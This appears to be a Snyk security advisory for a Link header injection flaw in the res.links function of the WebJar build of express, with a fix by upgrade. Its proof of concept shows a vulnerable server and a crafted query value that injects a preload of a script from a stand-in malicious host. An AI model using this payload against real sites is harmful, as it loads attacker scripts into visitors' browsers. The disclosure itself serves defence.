Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade org.webjars.npm:express
to version 4.0.0-rc1 or higher.
org.webjars.npm:express is a WebJar for express.
Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') through the response.links
function. An attacker can inject arbitrary resources into the Link
header by using unsanitized input that includes special characters such as commas, semicolons, and angle brackets.
var express = require('express')
var app = express()
app.get('/', function (req, res) {
res.links({"preload": req.query.resource});
if(req.query.resource){
console.log(res.getHeaders().link)
}
res.send('ok');
});
app.listen(3000);
// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';
const url = `http://localhost:3000/${maliciousQueryParam}`;
fetch(url);